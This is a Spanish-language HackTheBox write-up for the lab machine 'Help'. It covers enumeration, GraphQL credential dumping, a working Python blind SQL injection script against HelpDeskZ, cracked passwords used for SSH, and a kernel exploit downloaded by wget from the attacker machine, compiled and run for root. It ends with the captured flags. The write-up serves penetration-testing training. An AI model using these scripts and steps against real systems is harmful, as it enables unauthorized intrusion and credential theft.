HackTheBox - Help
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SQL Injection, Graphql, Kernel Exploitation
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Help
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos.
nmap -p<Ports> -sCV <IP> -oN versionesVemos que si vamos colocamos la IP de la
Máquina Helpen el navegador nos redirige ahttp://help.htb, por lo cual lo colocamos en el archivo/etc/hosts.
c. Encontramos lo siguiente en http://help.htb
Enumeramos por posibles directorios
1 2 3
wfuzz -c -t 80 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt http://help.htb/FUZZ/ 000000055: 200 96 L 236 W 4413 Ch "support"
Al visitar /support notamos que se usa
HelpDeskz, si bucamos vulnerabilidades nos encontramos con unaSQLi (Authenticated), por lo cual necesitamos de credenciales válidas.
d. Enumeramos el servicio que se ejecuta por el puerto 3000 (Debemos usar varios diccionarios)
1
2
3
wfuzz -c -t 80 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://<IP>:3000
000020476: 400 0 L 3 W 18 Ch "graphql"
Grapql Exploitation 🍇
El servicio de graphql puede ser explotable HackTricks
Enviamos una petición por POST para enumerar el servicio
1
curl -s -X POST "http://<IP>:3000/graphql" -H "Content-Type: application/json" -d 'PAYLOAD' \| jq
1 2 3 4 5 6 7 8 9 10 11
<SNIP> "name": "User", "fields": [ { "name": "username" }, { "name": "password" } ] <SNIP>
Ahora, podemos enviar una solicitud para obtener el esquema de graphql y poder representarlo gráficamente en Graphql-Voyager
En navegador:
1
http://<IP>:3000/graphql?query=fragment%...[PAYLOAD EN HACKTRICKS]...
El output del navegador lo pegamos en Graphql-Voyager y podremos ver de mejor forma la “base de datos”
Representación de
GraphqlAhora, realizamos una consulta para obtener los datos, en base al esquema anterior
1 2 3
curl -s -X POST "http://<IP>:3000/graphql" -H "Content-Type: application/json" -d '{"query":"{user{username,password}}"}' {"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}
La contraseña está cifrada con MD5, usamos
dcode 5d3c93182bb20f07b994a7f617e99cffy la veremos en texto planogodhelpmeplzAhora, nos podemos autenticar en el servicio
http://help.htb/supporty podemos explotar la vulnerabilidad SQLi1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import requests import string from pwn import * url_main = "http://help.htb" characteres = string.ascii_letters + string.digits + ',.+@_ :' headers = {"Cookie": "<Cookie>"} bar_1 = log.progress("Brute Force") bar_1.status("Starting Brute Force...") bar_2 = log.progress("Data") database_name="" for position in range(1,200): for character in characteres: sqli_url = f"/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=7 and substr((select group_concat(username,':', password) from staff),{position},1) = '{character}'-- -" bar_1.status(sqli_url) r = requests.get(url_main+sqli_url, cookies=headers) if ("Page not found" not in r.text): database_name+=character bar_2.status(database_name) break
1 2 3 4
[q] Databases Name: information_schema,mysql,performance_schema,support [-] Tables 'support': articles,attachments,canned_response,custom_fields,departments,emails,error_log,file_types,knowledgebase_category,login_attempt,login_log,news,pages,priority,settings,staff,tickets,tickets_messages,... [l] Columns: id,username,password,fullname,email,login,last_login,department,timezone,signature,newticket_notification,avatar,admin,status [k] username, password: admin:d318f44739dced66793b1a603028133a76ae680e (SHA1) -> Welcome1
Al autenticarnos en el servicio
HelpDeskzconseguimos un nombre de usuario
- Al ir testeando con algunos nombres de usuarios que contengan
helpmedamos conhelppara autenticarnos en el serviciossh
1 2 3
ssh help@<IP> Password: Welcome1 help@help:~$
Escalada de Privilegios 💹
a. El sistema es vulnerable a un kernel exploit Exploit
1
2
help@help:~/help$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu
b. Lo descargamos en nuestra Máquina Atacante para tranferirlo a la Máquina Víctima
- Máquina Atacante: python -m http.server 8000
- Máquina Víctima: **wget
:8000/exploit.c -o-** -> **gcc exploit.c -o backup**
c. Una vez ejecutamos el archivo backup tenemos acceso como root y podemos leer las flags
1
2
3
4
5
6
7
8
9
10
help@help:~/help$ ./backup
task_struct = ffff880038906a40
uidptr = ffff88003619a6c4
spawning root shell
root@help:~/help# whoami
root
root@help:~/help# find / -name root.txt 2>/dev/null | xargs cat
f68cb05096d8f2a4bb36f975435c582a
root@help:~/help# find / -name user.txt 2>/dev/null | xargs cat
401375d4050453ea5583cd902da8104a






